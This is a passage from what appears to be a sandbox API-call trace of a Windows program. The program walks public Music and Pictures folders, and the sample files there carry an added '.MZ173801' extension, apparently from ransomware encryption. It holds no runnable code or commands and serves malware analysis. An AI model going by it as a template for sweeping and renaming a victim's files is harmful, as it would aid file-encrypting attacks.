ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.327] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.328] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.328] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa547e680, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Kalimba.mp3.MZ173801", cAlternateFileName="")) returned 1 [0144.328] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.328] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa5ba2880, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3.MZ173801", cAlternateFileName="MAIDWI~1.MZ1")) returned 1 [0144.328] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.328] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.MZ173801", cAlternateFileName="SLEEPA~1.MZ1")) returned 1 [0144.328] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.328] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.MZ173801", cAlternateFileName="SLEEPA~1.MZ1")) returned 0 [0144.328] GetLastError () returned 0x12 [0144.328] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.328] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.328] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.328] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.328] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.328] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.328] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa547e680, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Kalimba.mp3.MZ173801", cAlternateFileName="")) returned 1 [0144.328] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.328] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.329] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa5ba2880, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3.MZ173801", cAlternateFileName="MAIDWI~1.MZ1")) returned 1 [0144.341] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.341] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.341] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.MZ173801", cAlternateFileName="SLEEPA~1.MZ1")) returned 1 [0144.341] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.341] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.341] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Sleep Away.mp3.MZ173801", cAlternateFileName="SLEEPA~1.MZ1")) returned 0 [0144.341] GetLastError () returned 0x12 [0144.341] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.341] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0144.341] GetLastError () returned 0x12 [0144.341] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.341] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0144.341] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.341] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.342] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.342] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.342] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.342] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.342] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.342] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0144.342] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0144.342] GetLastError () returned 0x12 [0144.342] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.342] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.342] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.342] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.342] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.342] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.342] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.342] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.342] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0144.342] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.342] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.342] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa6b8dba0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6b8dba0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa641d6e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Chrysanthemum.jpg.MZ173801", cAlternateFileName="CHRYSA~1.MZ1")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6574340, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Desert.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa667ece0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Hydrangeas.jpg.MZ173801", cAlternateFileName="HYDRAN~1.MZ1")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6789680, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Jellyfish.jpg.MZ173801", cAlternateFileName="JELLYF~1.MZ1")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa68ba180, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Koala.jpg.MZ173801", cAlternateFileName="")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa6978860, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Lighthouse.jpg.MZ173801", cAlternateFileName="LIGHTH~1.MZ1")) returned 1 [0144.343] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.343] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.343] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, 